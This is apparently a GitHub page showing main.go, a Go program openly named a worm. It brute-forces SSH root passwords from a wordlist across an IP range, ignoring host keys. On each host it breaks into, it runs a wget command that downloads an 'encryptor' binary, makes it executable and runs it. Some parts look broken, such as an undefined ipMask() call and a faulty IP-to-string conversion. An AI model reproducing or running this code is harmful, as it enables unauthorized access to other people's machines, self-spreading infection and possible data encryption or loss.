-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.go
101 lines (80 loc) · 2.17 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
package main
import (
"fmt"
"time"
"os"
"bufio"
"log"
"net"
"golang.org/x/crypto/ssh"
"github.com/malfunkt/iprange"
)
type Worm struct {
network string
}
func newWorm(NetworkAddresses string) *Worm {
return &Worm{network: NetworkAddresses}
}
func (w *Worm) setNetwork(newNetwork string) {
w.network = newNetwork
}
func (w *Worm) getCredentials() [][2]string {
creds := [][2]string{}
file, err := os.Open("wordlist.txt")
if err != nil {
log.Print("Error opening wordlist")
}
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
creds = append(creds, [2]string{"root", scanner.Text()})
}
return creds
}
func generateAddresses() []net.IP {
mask := ipMask()
list, err := iprange.ParseList(mask)
if err != nil {
log.Println(err)
}
rng := list.Expand()
return rng
}
func (w *Worm) spreadOverSSH() {
ips := generateAddresses()
for _, address := range ips {
fmt.Printf("Attempting to connect to %s\n", address)
for _, cred := range w.getCredentials() {
user, passw := cred[0], cred[1]
fmt.Printf("Attempting to connect to %s with username %s and password %s\n", address, user, passw)
config := &ssh.ClientConfig{
User: user,
Auth: []ssh.AuthMethod{ssh.Password(passw)},
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
Timeout: 10 * time.Second,
}
client, err := ssh.Dial("tcp", string(address)+":22", config)
if err != nil {
fmt.Printf("Can't connect to host on %s [%s, %s]\n", address, user, passw)
continue
}
session, err := client.NewSession()
if err != nil {
fmt.Printf("Can't create session on %s [%s, %s]\n", address, user, passw)
}
defer session.Close()
fmt.Printf("Succesfully connected to host on %s [%s, %s]\n", address, user, passw)
command := "wget https://github.com/harperreynell/encryptor/blob/main/encryptor && chmod +x encryptor && ./encryptor"
output, err := session.CombinedOutput(command)
if err != nil {
fmt.Printf("Can't execute command on %s [%s, %s]\n", address, user, passw)
}
fmt.Printf("%s", output)
}
fmt.Printf("\n\n\n")
}
}
func main() {
worm := newWorm("192.168.1.1")
worm.spreadOverSSH()
}